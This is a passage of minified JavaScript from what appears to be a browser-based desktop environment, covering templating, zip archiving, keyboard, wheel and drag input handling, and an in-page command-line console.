3536 return n = n || "", new Function("_", "return '" + n.replace(/[\\\n\r']/g, function(n) {
3537 return r[n]
3538 }).replace(/\{{#if\s*(.*?)\s*}}([\s\S]*?){{\/if}}/g, "' + (_.$1?'$2':'') + '").replace(/\{{#unless\s*(.*?)\s*}}([\s\S]*?){{\/unless}}/g, "' + (_.$1?'':'$2') + '").replace(/\{{\s*([\w\.]+)\s*}}/g, "' + (_.$1==null?'':_.$1) + '") + "'")
3539}
3540var r = {
3541 "\\": "\\\\",
3542 "\n": "\\n",
3543 "\r": "\\r",
3544 "'": "\\'"
3545};
3546n.$template = e
3547}(window);
3548//js/archive.js
3549! function(t) {
3550"use strict";
3551
3552function i(t, i) {
3553 function e(t) {
3554 $file.download(t, i + ".zip")
3555 }
3556
3557 function o(t, i) {
3558 r.update(t / i * 100)
3559 }
3560
3561 function n(t) {
3562 console.error(t)
3563 }
3564 i = i || $fs.utils.getName(t + "") || "derp";
3565 var r = $alert.progress("Creating Archive...", "Archive");
3566 $loader(["/c/libs/zip/zip.js", "/c/libs/zip/zip-fs.js"], function() {
3567 function r(t, e) {
3568 function o(t, i, e, n) {
3569 $io.enum([e], function(e, n, r) {
3570 "." !== n && ".." !== n ? $fs.utils.isShortcut(n) || "object" != typeof e ? $file.open(t + "/" + n, "Blob", function(t) {
3571 i.addBlob(n, t), r()
3572 }) : o(t + "/" + n, i.addDirectory(n), e, r) : r()
3573 }, function() {
3574 n()
3575 })
3576 }
3577 i = i || $fs.utils.getName(t);
3578 var n = $fs.utils.getPathObj(t);
3579 n ? o(n.cwd, c.root.addDirectory($fs.utils.getName(n.cwd)), n.obj, e) : $file.open(t, "Blob", function(t) {
3580 c.root.addBlob(this.name, t), e()
3581 })
3582 }
3583
3584 function s() {
3585 c.root.exportBlob(e, o, n)
3586 }
3587 zip.workerScriptsPath = "/c/libs/zip/";
3588 var c = new zip.fs.FS;
3589 "string" == typeof t ? r(t, s) : $io.enum(t, function(t, e, o) {
3590 if ($io.isElement(t)) {
3591 i = null;
3592 var n = t.getAttribute("data-exe"),
3593 s = t.getAttribute("data-path");
3594 $fs.utils.exist(n) ? r(n, o) : r(s, o)
3595 } else r(t, o)
3596 }, s)
3597 })
3598}
3599t.$archive = i
3600}(this);
3601//js/loop.js
3602function $loop(n, e) {
3603"use strict";
3604
3605function t(e) {
3606 n((e - f) / 1e3), m = requestAnimationFrame(t), f = performance.now()
3607}
3608
3609function o() {
3610 n((performance.now() - f) / 1e3), m = setTimeout(o, e), f = performance.now()
3611}
3612
3613function r() {
3614 n(), m = requestAnimationFrame(r)
3615}
3616
3617function u() {
3618 n(), m = setTimeout(u, e)
3619}
3620
3621function i(i) {
3622 return c(), void 0 !== i && (e = i), (l = n.length ? e && e > 0 ? o : t : e && e > 0 ? u : r)(0), p
3623}
3624
3625function c() {
3626 return e ? clearTimeout(m) : cancelAnimationFrame(m), p
3627}
3628
3629function a() {
3630 return s ? (c(), s = !1) : (i(), s = !0), p
3631}
3632var f, m, l, s = !1,
3633 p = {
3634 callback: n,
3635 play: i,
3636 pause: c,
3637 toggle: a,
3638 fn: function(e) {
3639 n = e
3640 },
3641 destroy: function() {
3642 c(), p = null
3643 }
3644 };
3645return p
3646}
3647//js/inputs/key.js
3648! function(e) {
3649"use strict";
3650
3651function t(e) {
3652 return e.preventDefault ? e.preventDefault() : e.returnValue = !1, !1
3653}
3654
3655function a(e) {
3656 var t = y(e.which);
3657 if (t.toUpperCase() !== t.toLowerCase()) return e.shiftKey && t.toLowerCase() === t || !e.shiftKey && t.toUpperCase() === t
3658}
3659
3660function r(e, t) {
3661 var a = x[k && p[d] ? "normal" : k ? v : p[d] ? d : "normal"][p[u] ? u : p[f] ? f : p[h] ? h : "normal"];
3662 return t && !a[e] && (a[e] = t), a[e]
3663}
3664
3665function o(e) {
3666 var t = r(e);
3667 return {
3668 key: t ? y(t) : y(e)[p[d] || k ? "toUpperCase" : "toLowerCase"](),
3669 code: t || e
3670 }
3671}
3672
3673function n(e) {
3674 var t = $extend({}, e.data);
3675 return t.session = e, t.w3c = U[e.data.key] || e.data.key, t.loc = t.w3c, t.pos = "Standard", e.data.event && e.data.event.location && (3 === e.data.event.location ? (t.pos = "Numpad", t.loc = "Numpad" + t.w3c) : e.data.char || (t.pos = 2 === e.data.event.location ? "Right" : "", t.loc = t.w3c + t.pos)), t.CapsLock = k, t
3676}
3677
3678function i(e, i) {
3679 function c(a) {
3680 if (a) {
3681 var r = a.call(i.thisArg, i.data.key, u = u || n(i));
3682 (i.preventDefault || !1 === r) && t(e)
3683 }
3684 }
3685
3686 function s(e) {
3687 if (e) {
3688 var t = i.possibleCombo.indexOf(e);
3689 t > -1 && i.possibleCombo.splice(t, 1), e.then && s(e.then)
3690 }
3691 }
3692
3693 function l(e) {
3694 f = f || p.keys;
3695 for (var t = 0, a = e.length; t < a; t++) {
3696 for (var r = !1, o = 0, n = e[t].keys.length; o < n; o++) {
3697 if (-1 === f.indexOf(e[t].keys[o])) {
3698 if (i.comboStrict) {
3699 r = !1, s(e[t].parent);
3700 break
3701 }
3702 if (-1 === f.indexOf(e[t].keys[o].toUpperCase())) {
3703 r = !1, s(e[t].parent);
3704 break
3705 }
3706 }
3707 r = !0
3708 }
3709 if (r)
3710 if (e[t].run) {
3711 if (c(e[t].run), s(e[t].parent), i.stopPropagation || i.uniqueCombo) break
3712 } else e[t].then && -1 === i.possibleCombo.indexOf(e[t].then) && i.possibleCombo.push(e[t].then)
3713 }
3714 }
3715
3716 function d() {
3717 if (!i.data.key) {
3718 var e = o(i.data.code);
3719 i.data.code = e.code, i.data.char = i.data.key = e.key
3720 }
3721 p[i.data.key] = !0, c(i.down), l(i.combo ? i.combo.concat(i.possibleCombo) : i.possibleCombo);
3722 for (var t in i.data) i.data.hasOwnProperty(t) && delete i.data[t]
3723 }
3724 if (i) {
3725 var u, f;
3726 if (i.data.event = e, "keydown" === e.type) {
3727 if (!1 === i.repeat && e.repeat) return d = null, void t(e);
3728 i.data.code = e.which, i.data.key = O[e.which] || null, i.data.char = "", i.preventDefault && (e.ctrlKey || i.data.key) && (t(e), e.stopImmediatePropagation()), (e.ctrlKey || e.shiftKey || i.data.key) && (d(), d = null, i.data.safe = !0)
3729 }
3730 if ("keypress" === e.type) {
3731 i.data.char = y(e.which), r(i.data.code, e.which);
3732 var h = a(e);
3733 if ("boolean" == typeof h && (k = h), !i.repeat && e.repeat || i.data.safe) return void(d = null);
3734 i.data.key || (i.data.code = e.which, i.data.key = y(e.which))
3735 }
3736 if ("keyup" === e.type) {
3737 d = null;
3738 var v = o(e.which);
3739 i.data.code = v.code, i.data.char = v.key, i.data.key = O[e.which] || v.key, p[i.data.key] = !1, c(i.up);
3740 var m = i.data.key;
3741 for (var w in x)
3742 if (x.hasOwnProperty(w))
3743 for (var g in x[w])
3744 if (x[w].hasOwnProperty(g) && (m === w || m === g))
3745 for (var C in x[w][g]) x[w][g].hasOwnProperty(C) && (i.data.code = x[w][g][C], i.data.key = y(i.data.code), p[i.data.key] = !1);
3746 for (var b in i.data) i.data.hasOwnProperty(b) && delete i.data[b];
3747 i.preventDefault && t(e)
3748 }
3749 return i.timer = setTimeout(d, 1), !0 !== i.stopPropagation && void 0
3750 }
3751}
3752
3753function c(e) {
3754 "number" != typeof(e = e || window.event).which && (e.which = e.keyCode);
3755 for (var t = 0, a = g.length; t < a && !1 !== i(e, g[t]); t++);
3756}
3757
3758function s(e) {
3759 var t = e.target;
3760 if (g.length = 0, C.length)
3761 for (; t && 1 === t.nodeType;) {
3762 for (var a = 0, r = C.length; a < r; a++) {
3763 var o = C[a];
3764 o.selector ? t.matches(o.selector) && g.push($extend({
3765 thisArg: t
3766 }, o)) : t === o.el && g.push($extend({
3767 thisArg: t
3768 }, o))
3769 }
3770 t = t.parentNode
3771 }
3772}
3773
3774function l(e) {
3775 var t = [];
3776 for (var a in e)
3777 if (e.hasOwnProperty(a))
3778 for (var r = a.replace(/\+\+/g, "+add").split(", "), o = 0, n = r.length; o < n; o++) {
3779 var i = {};
3780 t.push(i);
3781 for (var c = r[o].split(" "), s = i, l = 0, p = c.length; l < p; l++) {
3782 for (var d = c[l].split("+"), u = 0, f = d.length; u < f; u++) d[u] = D[d[u]] || D[L[d[u].toLowerCase()]] || L[d[u].toLowerCase()] || d[u];
3783 s.keys = d, 0 !== l && c.length > 1 && (s.parent = i), l === c.length - 1 ? s.run = e[a] : s = s.then = {}
3784 }
3785 }
3786 return t
3787}
3788
3789function p(e) {
3790 var t = {
3791 data: {},
3792 possibleCombo: []
3793 };
3794 "string" == typeof e ? t.selector = e : e && 1 === e.nodeType ? t.el = e : t.el = w;
3795 var a = C.push(t);
3796 t.stack = new Error("stack").stack.split("\n"), t.stack.shift(), t.stack = t.stack.join("\n");
3797 var r = {
3798 session: t,
3799 config: function(e) {
3800 return e ? ($extend(t, e), r) : t
3801 },
3802 up: function(e) {
3803 return t.up = e, r
3804 },
3805 down: function(e) {
3806 return t.down = e, r
3807 },
3808 combo: function(e) {
3809 var a = l(e);
3810 return t.combo ? t.combo = t.combo.concat(a) : t.combo = a, t.combo = t.combo.sort(function(e, t) {
3811 return t.keys.length - e.keys.length
3812 }), r
3813 },
3814 destroy: function() {
3815 C.splice(a - 1, 1)
3816 }
3817 };
3818 return r.set = r.combo, r
3819}! function(e) {
3820 Element && !e.matches && (e.matches = e.matchesSelector || e.mozMatchesSelector || e.msMatchesSelector || e.oMatchesSelector || e.webkitMatchesSelector)
3821}(Element.prototype);
3822var d, u, f, h, v, m, w = document.documentElement,
3823 y = String.fromCharCode,
3824 k = !1,
3825 g = [],
3826 C = [{
3827 data: {}
3828 }],
3829 b = "ctrl super altgr left up right down space caps scroll print menu esc ins del",
3830 P = ["⌫ Bksp Backspace", "↲ Enter", "⇧ Shift", "⇫ Caps CapsLock", "Option Alt", "Ctrl Control", "ðŸ ♥  ⌘ Cmd Win Meta Super Command OS", "⇞ PgUp PageUp", "⇟ PgDn PgDown PageDown", "↖ Home", "↘ End", "↤ ↠Left ArrowLeft", "↥ ↑ Up ArrowUp", "↦ → Right ArrowRight", "↧ ↓ Down ArrowDown", "⎵ Space Spacebar", "Del Delete", "Ins Insert", "Print PrintScr PrintScreen", "☰ Menu Apps Context_menu ContextMenu", "ScrLk Scroll ScrollLock", "AltGr AltGraph", "Break Pause", "Esc Escape", "Multiply *", "Add +", "Subtract -", "Decimal Period .", "Divide Slash /", "Backslash \\", "Equals =", "Semicolon ;", "Comma ,", "Hash Sharp Hashtag Octothorpe #"],
3831 S = {
3832 3: "Enter",
3833 8: "Backspace",
3834 9: "Tab",
3835 12: "Clear",
3836 13: "Enter",
3837 16: "Shift",
3838 17: "Control",
3839 18: "Alt",
3840 19: "Pause",
3841 20: "CapsLock",
3842 27: "Escape",
3843 32: "Spacebar",
3844 33: "PageUp",
3845 34: "PageDown",
3846 35: "End",
3847 36: "Home",
3848 37: "ArrowLeft",
3849 38: "ArrowUp",
3850 39: "ArrowRight",
3851 40: "ArrowDown",
3852 44: "PrintScreen",
3853 45: "Insert",
3854 46: "Delete",
3855 91: "OS",
3856 92: "OS",
3857 93: "ContextMenu",
3858 96: "Insert",
3859 108: "Enter",
3860 124: "PrintScreen",
3861 127: "Delete",
3862 144: "NumLock",
3863 145: "ScrollLock",
3864 224: "OS",
3865 225: "AltGraph",
3866 63232: "ArrowUp",
3867 63233: "ArrowDown",
3868 63234: "ArrowLeft",
3869 63235: "ArrowRight",
3870 63272: "Delete",
3871 63273: "Home",
3872 63275: "End",
3873 63276: "PageUp",
3874 63277: "PageDown",
3875 63302: "Insert"
3876 },
3877 L = {},
3878 A = {},
3879 E = {},
3880 O = {},
3881 D = {},
3882 U = {},
3883 x = {};
3884for (m = 1; m <= 12; m++) S[m + 111] = S[m + 63235] = "F" + m;
3885! function() {
3886 for (var e = 0, t = P.length; e < t; e++)
3887 for (var a = P[e].split(" "), r = a.pop(), o = a.length - 1; o >= 0; o--) a[o].length < 3 ? (E[r] = a[o], E[r + "Right"] = a[o]) : a[o].length < r.length && (A[r] = a[o], A[r + "Right"] = a[o]), L[a[o].toLowerCase()] = r;
3888 for (var n = b.split(" "), i = n[0].toLowerCase() === n[0] ? "toLowerCase" : n[0].toUpperCase() === n[0] ? "toUpperCase" : null, e = 0, t = n.length; e < t; e++) D[L[n[e].toLowerCase()]] = n[e];
3889 for (var c in S) S.hasOwnProperty(c) && (O[c] = D[S[c]] || (i ? S[c][i]() : S[c]), D[S[c]] = O[c], U[O[c]] = S[c]);
3890 d = D.Shift, u = D.Alt, f = D.AltGraph, h = D.Control, v = D.CapsLock;
3891 for (var c in x) x.hasOwnProperty(c) && delete x[c];
3892 x.normal = {
3893 normal: {}
3894 }, x.normal[u] = {}, x.normal[f] = {}, x.normal[h] = {}, x[d] = {
3895 normal: {}
3896 }, x[d][u] = {}, x[d][f] = {}, x[d][h] = {}, x[v] = {
3897 normal: {}
3898 }, x[v][u] = {}, x[v][f] = {}, x[v][h] = {}
3899}(), w.addEventListener("keydown", c, !1), w.addEventListener("keypress", c, !1), w.addEventListener("keyup", c, !1), w.setAttribute("tabindex", "0"), w.addEventListener("focus", function(e) {
3900 s(e)
3901}, !0), w.addEventListener("click", function(e) {
3902 s(e)
3903}, !0), w.focus(), w.addEventListener("focusout", function(e) {
3904 setTimeout(function() {
3905 if (!document.hasFocus())
3906 for (var e in p) p.hasOwnProperty(e) && (p[e] = !1)
3907 }, 0)
3908}, !1), w.addEventListener("dblclick", function(e) {
3909 for (var t in p) p.hasOwnProperty(t) && (p[t] = !1)
3910}, !1), Object.defineProperties(p, {
3911 alias: {
3912 value: {
3913 small: function(e) {
3914 return A[e] || e
3915 },
3916 symbol: function(e) {
3917 return E[e] || A[e] || e
3918 },
3919 favorite: function(e) {
3920 return O[e] || e
3921 }
3922 }
3923 },
3924 keys: {
3925 get: function() {
3926 var e, t = [];
3927 for (e in p) p.hasOwnProperty(e) && p[e] && t.push(e);
3928 return t
3929 }
3930 },
3931 activate: {
3932 value: function() {
3933 console.log("active")
3934 }
3935 }
3936}), e.$key = p
3937}(this);
3938//js/inputs/gamepad.js
3939! function(n) {
3940"use strict";
3941
3942function o(n) {
3943 console.log(n)
3944}
3945n.$gamepad = o
3946}(this);
3947//js/inputs/wheel.js
3948! function(e) {
3949"use strict";
3950
3951function t(e, t, i) {
3952 function a(e) {
3953 e = window.event || e, w ? w.isEqualNode(e.target) && (e.preventDefault(), y(e)) : v.noscroll ? (e.preventDefault(), y(e)) : y(e)
3954 }
3955
3956 function o(e) {
3957 e.preventDefault(), clearTimeout(f), f = setTimeout(function() {
3958 c()
3959 }, m)
3960 }
3961
3962 function r(e) {
3963 e.preventDefault(), h(), clearTimeout(f)
3964 }
3965
3966 function c() {
3967 e.addEventListener("mousewheel", a, !1), e.addEventListener("DOMMouseScroll", a, !1)
3968 }
3969
3970 function h() {
3971 e.removeEventListener("mousewheel", a, !1), e.removeEventListener("DOMMouseScroll", a, !1)
3972 }
3973 if ("object" == typeof e && !(e instanceof HTMLElement)) return n = e;
3974 var u, f, d = e,
3975 v = $extend({}, n, i),
3976 m = v.delayy,
3977 w = v.handler;
3978 if (e + "" === e && ((e = document.getElementById(d)) || (e = document.querySelector(d))), e) {
3979 s[++l] = t, e.setAttribute("data-wheel-id", l);
3980 var y = function(t) {
3981 var n = t.wheelDelta ? t.wheelDelta / 40 : t.detail ? -t.detail : 0;
3982 return s[l].call(e, n, t), !1
3983 };
3984 if (v.acceleration) {
3985 var E = 0,
3986 L = !0;
3987 u = setInterval(function() {
3988 (E -= .1 * E) < 0 && (E = 0)
3989 }, v.acceleration), y = function(t) {
3990 E += 1;
3991 var n = t.wheelDelta ? t.wheelDelta / 40 : t.detail ? -t.detail : 0;
3992 return n > 0 ? (!1 === L && (E = 1), L = !0) : (!0 === L && (E = 1), L = !1), s[l].call(e, n, E, t), !1
3993 }
3994 }
3995 return v.throttle && (a = $io.fn.throttle(a, v.throttle)), v.debounce && (a = $io.fn.debounce(a, v.debounce)), e.addEventListener("mouseenter", m ? o : c, !1), e.addEventListener("mouseleave", m ? r : h, !1), {
3996 destroy: function() {
3997 e.removeEventListener("mouseenter", m ? o : c, !1), e.removeEventListener("mouseleave", m ? r : h, !1), clearTimeout(f), clearInterval(u);
3998 var t = e.getAttribute("data-wheel-id");
3999 t && s[t] && delete s[t], e.removeEventListener("mousewheel", a, !1), e.removeEventListener("DOMMouseScroll", a, !1), console.log("$wheel destroy : ", e.getAttribute("data-wheel-id"))
4000 }
4001 }
4002 }
4003}
4004var s = {},
4005 l = 0,
4006 n = {
4007 debounce: 0,
4008 noscroll: !1,
4009 handler: null,
4010 delay: 0
4011 };
4012t.scale = function(e, s) {
4013 var l = $extend({
4014 negatif: !1
4015 }, s);
4016 e.scaleX = 1, e.scaleY = 1;
4017 var n = e.offsetWidth,
4018 i = e.offsetHeight,
4019 a = t(e, function(e, t) {
4020 var s = this.scaleX,
4021 a = this.scaleY;
4022 e > 0 ? (this.scaleX += .1 * this.scaleX, this.scaleY += .1 * this.scaleY) : (this.scaleX -= .1 * this.scaleX, this.scaleY -= .1 * this.scaleY), l.negatif ? (this.scaleX < .1 && (this.scaleX = .1), this.scaleY < .1 && (this.scaleY = .1)) : (this.scaleX < 1 && (this.scaleX = 1), this.scaleY < 1 && (this.scaleY = 1)), this.style.width = n * this.scaleX + "px", this.style.height = i * this.scaleY + "px";
4023 var o = 1 - this.scaleX / s,
4024 r = 1 - this.scaleY / a,
4025 c = this.offsetLeft,
4026 h = this.offsetTop;
4027 c += (t.clientX - this.offsetLeft) * o, h += (t.clientY - this.offsetTop) * r, this.style.top = h + "px", this.style.left = c + "px"
4028 });
4029 return {
4030 destroy: function() {
4031 a.destroy(), delete e.scaleW, delete e.scaleH
4032 }
4033 }
4034}, e.$wheel = t
4035}(this);
4036//js/ui/cli.js
4037! function(e) {
4038"use strict";
4039
4040function t(e) {
4041 return "string" == typeof e ? e : $io.isNumber(e) ? '<span class="sh_number">' + e + "</span>" : void 0 === e ? "undefined" : null === e ? "null" : "function" == typeof e ? $io.str.hilit($io.fn.str(e)) : $io.isObject(e) || $io.isArray(e) ? $io.str.hilit($io.stringify(e, 2)) : "function" == typeof e.constructor ? "<span class=sh_init>" + e.constructor.name + "</span> " + $io.str.hilit($io.stringify(e, 2), !0) : e
4042}
4043
4044function o(e, t) {
4045 for (var i in e) {
4046 var r = e[i];
4047 if (i == t) return;
4048 "string" == typeof r || "number" == typeof r || "boolean" == typeof r ? n.pad(i, r + "", ".") : $io.is.Object(r) && o(r, t)
4049 }
4050}
4051
4052function n(e, r, s) {
4053 if (l.clear) return l.el.innerHTML = "", void(l.clear = "");
4054 if (l.repeat && (e = e.repeat(l.cols), l.repeat = ""), l.code && (e = $io.str.hilit(e), l.code = ""), l.pass && (e = "✔ " + e, a += "ui_log__green", l.pass = ""), l.fail && (e = "✘ " + e, a += "ui_log__red", l.fail = ""), l.info && (e = "ℹ " + e, a += "ui_log__blue", l.info = ""), l.italic && (a += " italic", l.italic = ""), l.bold && (a += " bold", l.bold = ""), l.white && (a += " ui_log__white", l.white = ""), l.yellow && (a += " ui_log__yellow", l.yellow = ""), l.cyan && (a += " ui_log__cyan", l.cyan = ""), l.magenta && (a += " ui_log__magenta", l.magenta = ""), l.blue && (a += " ui_log__blue", l.blue = ""), l.red && (a += " ui_log__red", l.red = ""), l.succes && (a += " ui_log__green", l.succes = ""), l.green && (a += " ui_log__green", l.green = ""), l.error && (a += " ui_log__red js_error", l.error = ""), l.obj) return l.obj = "", void o(e, r);
4055 if ("Error" === $io.type(e) && (e = e.constructor.name + "\n" + e.message + $io.str.autolink(e.stack)), l.pad) {
4056 var c;
4057 s ? c = s : (c = r, r = "");
4058 var u = l.cols - 3 - (e.length + (r || "").length + (r ? 2 : 1));
4059 (e = e + " " + c.repeat((3 + (u >= 0 ? u : 0)) / c.length) + (r ? " " + r : "")).length > l.cols && (e = e.match(new RegExp(".{1," + l.cols + "}", "g")).join("\n")), l.pad = ""
4060 } else r && (e = $io.arg.arr(arguments).join(", "));
4061 return l.el ? (i = document.createElement("div"), i.innerHTML = t(e), i.className = a, l.el.appendChild(i), n.trigger("addline"), a = "", i) : void 0
4062}
4063for (var i, r = ["clear", "error", "error", "succes", "fail", "pass", "warn", "info", "bold", "italic", "red", "blue", "green", "white", "yellow", "cyan", "magenta", "html", "autolink", "code", "pad", "right", "center", "repeat", "stack", "save", "stay", "id", "fast", "group", "noop", "obj", "end"], l = {
4064 el: null
4065 }, s = {}, a = "", c = 0, u = r.length; c < u; c++) l[r[c]] = "", s[r[c]] = function(e) {
4066 return function() {
4067 l[e] = "1"
4068 }
4069}(r[c]);
4070n.config = function(e) {
4071 return $extend(l, e), n
4072}, $watch(n), e.$log = $chain(n, s, s)
4073}(this),
4074function(e) {
4075"use strict";
4076
4077function t(e) {
4078 e.scrollTop = e.scrollHeight
4079}
4080
4081function o(e) {
4082 e.style.height = e.scrollHeight + "px"
4083}
4084
4085function n(n, r) {
4086 function l() {
4087 $log.config({
4088 cols: u.cols,
4089 el: p
4090 })
4091 }
4092
4093 function s() {
4094 e.$selection && ($selection.get() || setTimeout(function() {
4095 f.focus(), l()
4096 }, 200))
4097 }
4098
4099 function a(e) {
4100 o(e), t(e)
4101 }
4102 var c = {
4103 cols: 59,
4104 exe: $noop,
4105 prompt: ">",
4106 history: i
4107 },
4108 u = $extend(c, r),
4109 d = document.createElement("code"),
4110 p = document.createElement("div"),
4111 y = document.createElement("div"),
4112 g = document.createElement("span"),
4113 f = document.createElement("textarea");
4114 if (n) {
4115 u.prompt += " ", g.innerHTML = u.prompt, f.innerHTML = "", f.spellcheck = !1, f.rows = "1", f.style.outline = "0 none", f.style.boxShadow = "0 0 transparent", f.style.textShadow = "0 0 transparent", f.style.border = "0 none", f.style.verticalAlign = "top", f.style.resize = "none", f.style.padding = "0", f.style.margin = "0", f.style.height = "auto", f.style.width = "100%", f.style.color = "inherit", f.style.font = "inherit", f.style.fontSize = "inherit", f.style.background = "transparent", f.style.overflow = "hidden", f.style.textIndent = "0", y.style.display = "table", y.style.tableLayout = "fixed", f.style.display = "table-cell", g.style.display = "table-cell", g.style.width = "1%", g.style.whiteSpace = "nowrap", y.appendChild(g), y.appendChild(f), d.appendChild(p), d.appendChild(y), d.style.display = "block", d.style.width = u.cols + "ch", d.style.whiteSpace = "pre-wrap", d.style.wordBreak = "break-word", d.style.wordWrap = "break-word", n.appendChild(d), n.style.overflowY = "scroll", u.rows && (n.style.height = u.rows + "em"), $log.on("addline", function() {
4116 t(n)
4117 }), n.addEventListener("mouseup", s, !1), n.addEventListener("contextmenu", s, !1), f.addEventListener("mouseup", function(e) {
4118 e.stopPropagation ? e.stopPropagation() : e.cancelBubble = !0, e.stopImmediatePropagation(), l()
4119 }, !1), f.addEventListener("paste", function(e) {
4120 setTimeout(function() {
4121 a(f)
4122 }, 0)
4123 }, !1);
4124 var h = 0,
4125 m = !1,
4126 _ = $key(n).down(function(e, t, o) {
4127 a(f);
4128 var n = u.history.length;
4129 if (!1 === $.onkey(e, f.value)) return !1;
4130 if ("enter" == e) {
4131 var i = $io.str.trim(f.value);
4132 if (!i) return $.log(u.prompt), !1;
4133 if (f.value = "", f.style.height = "auto", h = 0, !1 === $.onenter(i)) return !1;
4134 if ($.log(u.prompt + i), u.history[n - 1] != i && u.history.push(i), !u.exe.call($, i)) try {
4135 $.log(eval.call(window, i))
4136 } catch (o) {
4137 $.log.error(o.message + "\n")
4138 }
4139 return !1
4140 }
4141 if (f.value || (m = !1), !m) {
4142 if ("up" == e) return ++h > n && (h = n), f.value = u.history[n - h] || "", a(f), !1;
4143 if ("down" == e) return --h < 0 && (h = 0), f.value = u.history[n - h] || "", a(f), !1
4144 }
4145 }),
4146 w = $log.config({
4147 cols: u.cols,
4148 el: p
4149 }),
4150 $ = {
4151 cli: !0,
4152 cfg: u,
4153 destroy: function() {
4154 _.destroy(), this.ondestroy(), console.log("@todo : terminal destroy")
4155 },
4156 setFocus: s,
4157 ondestroy: $noop,
4158 onenter: $noop,
4159 onkey: $noop,
4160 prompt: g,
4161 input: f,
4162 log: w
4163 };
4164 return $
4165 }
4166}
4167n.clearhistory = function() {
4168 i.length = 0
4169};
4170var i = e.$store ? $store(".config/history.json", [], function(e) {
4171 i = e
4172}, function() {
4173 return i
4174}) : [];
4175e.$cli = n
4176}(this);
4177//js/ui/box.js
4178! function(t) {
4179"use strict";
4180
4181function e(t, e) {
4182 document.documentElement.addEventListener(t, e, !1)
4183}
4184
4185function o(t, e) {
4186 document.documentElement.removeEventListener(t, e, !1)
4187}
4188
4189function n(t) {
4190 var e = t.changedTouches ? t.changedTouches[0] : null;
4191 return e ? {
4192 x: e.clientX,
4193 y: e.clientY
4194 } : {
4195 x: t.clientX,
4196 y: t.clientY
4197 }
4198}
4199
4200function r(t, e) {
4201 return !(t.right <= e.left || t.left >= e.right || t.bottom <= e.top || t.top >= e.bottom)
4202}
4203
4204function c(t, c, l) {
4205 function s() {
4206 if (g.target) {
4207 for (var t = x.querySelectorAll(g.target), e = [], o = 0, n = t.length; o < n; o++) r(E, t[o].getBoundingClientRect()) && e.push(t[o]);
4208 return e
4209 }
4210 }
4211
4212 function i(t) {
4213 g.onstart.call(x, t, b), S = !0
4214 }
4215
4216 function a(t) {
4217 var e = n(t);
4218 m = e.x - h, p = e.y - f;
4219 var o = Math.abs(m),
4220 r = Math.abs(p);
4221 E.top = p > 0 ? f : e.y, E.left = m > 0 ? h : e.x, b.style.top = E.top + "px", b.style.left = E.left + "px", (o > g.distance || r > g.distance) && w === x.scrollTop && (t.preventDefault(), S || i(t), b.style.display = "block", E.right = E.left + o, E.bottom = E.top + r, b.style.width = o + "px", b.style.height = r + "px", g.ondraw.call(x, t, s()))
4222 }
4223
4224 function u(t) {
4225 if (this.isEqualNode(t.target || t.srcElement)) {
4226 w = x.scrollTop;
4227 var o = n(t);
4228 x.appendChild(b), h = o.x, f = o.y, a(t), e("mousemove", a), e("touchmove", a), e("mouseup", d), e("touchend", d), e("contextmenu", d), g.oninit.call(x, t, b)
4229 }
4230 }
4231
4232 function d(t) {
4233 o("mousemove", a), o("touchmove", a), o("mouseup", d), o("touchend", d), o("contextmenu", d), g.onstop.call(x, t, s()), b.style.display = "none", x.removeChild(b), S = !1, w = x.scrollTop
4234 }
4235 if ("object" == typeof c && (l = c, c = null), "string" == typeof t && (t = document.querySelector(t)), !t) throw new Error("$box : element missing");
4236 var m, p, h, f, y, v = {
4237 distance: 10,
4238 oninit: $noop,
4239 onstart: $noop,
4240 ondraw: function(t, e, o) {},
4241 onstop: $noop
4242 },
4243 g = $extend(v, l),
4244 x = t;
4245 y = c ? function(t) {
4246 for (var e = t.target; e && 1 == e.nodeType && !e.matches(c);) e = e.parentNode;
4247 e && 9 != e.nodeType && (x = e, u.call(x, t))
4248 } : u;
4249 var b = document.createElement("div");
4250 b.className = "ui_select_box", b.style.position = "fixed", b.style.zIndex = 9999, b.style.border = "1px dotted #000", b.style.backgroundColor = "rgba(0,0,0,.1)", b.style.display = "none";
4251 var E = {
4252 right: 0,
4253 left: 0,
4254 bottom: 0,
4255 top: 0
4256 },
4257 w = 0,
4258 S = !1;
4259 return t.addEventListener("mousedown", y, !1), t.addEventListener("touchstart", y, !1), {
4260 destroy: function() {
4261 t.removeEventListener("mousedown", y, !1), t.removeEventListener("touchstart", y, !1)
4262 }
4263 }
4264}! function(t) {
4265 Element && !t.matches && (t.matches = t.matchesSelector || t.mozMatchesSelector || t.msMatchesSelector || t.oMatchesSelector || t.webkitMatchesSelector)
4266}(Element.prototype), c.overlap = r, t.$box = c
4267}(this);
4268//js/ui/drag.js
4269! function(e) {
4270"use strict";
4271
4272function t(e, t) {
4273 document.documentElement.addEventListener(e, t, !1)
4274}
4275
4276function n(e, t) {
4277 document.documentElement.removeEventListener(e, t, !1)
4278}
4279
4280function o(e) {
4281 var t = e.changedTouches ? e.changedTouches[0] : null;
4282 return t ? {
4283 x: t.clientX,
4284 y: t.clientY
4285 } : {
4286 x: e.clientX,
4287 y: e.clientY
4288 }
4289}
4290
4291function i(e, s, l) {
4292 function r(e) {
4293 var t = o(e);
4294 f = t.x - v, p = t.y - x, (i.isDragging || Math.abs(f) > $.distance || Math.abs(p) > $.distance) && (c(e), i.isDragging || m(e), f += h, p += y, $.constrain && (f = f > b ? b : f < N ? N : f, p = p > z ? z : p < w ? w : p), $.grid && (f = ~~((f + $.grid[0] / 2) / $.grid[0]) * $.grid[0], p = ~~((p + $.grid[1] / 2) / $.grid[1]) * $.grid[1]), $.ghost ? i.ghost && (i.ghost.style.left = f + "px", i.ghost.style.top = p + "px") : (i.elem.style.left = f + "px", i.elem.style.top = p + "px"), i.x = f, i.y = p, $.ondrag.call(i.elem, e, f, p), $.zone && a(e, t))
4295 }
4296
4297 function a(e, t) {
4298 var n = document.elementFromPoint(t.x, t.y);
4299 for (var o in $.zone)
4300 if ($.zone.hasOwnProperty(o)) {
4301 for (var s = $.zone[o], l = n; l && 1 == l.nodeType && !l.matches(o);) l = l.parentNode;
4302 l && 9 != l.nodeType ? (i.zone !== l && (s.leave && i.zone && s.leave(e, i.zone, i.elem), s.enter && s.enter(e, l, i.elem)), i.zone = l) : i.zone && (s.leave && s.leave(e, i.zone, i.elem), i.zone = null), s.move && i.zone && s.move(e, i.zone, i.elem)
4303 }
4304 }
4305
4306 function u(e) {
4307 var t = !1,
4308 n = o(e);
4309 document.elementFromPoint(n.x, n.y);
4310 for (var s in $.zone)
4311 if ($.zone.hasOwnProperty(s)) {
4312 var l = $.zone[s];
4313 l.drop && i.zone && (t = !0, l.drop(e, i.zone, i.elem))
4314 }
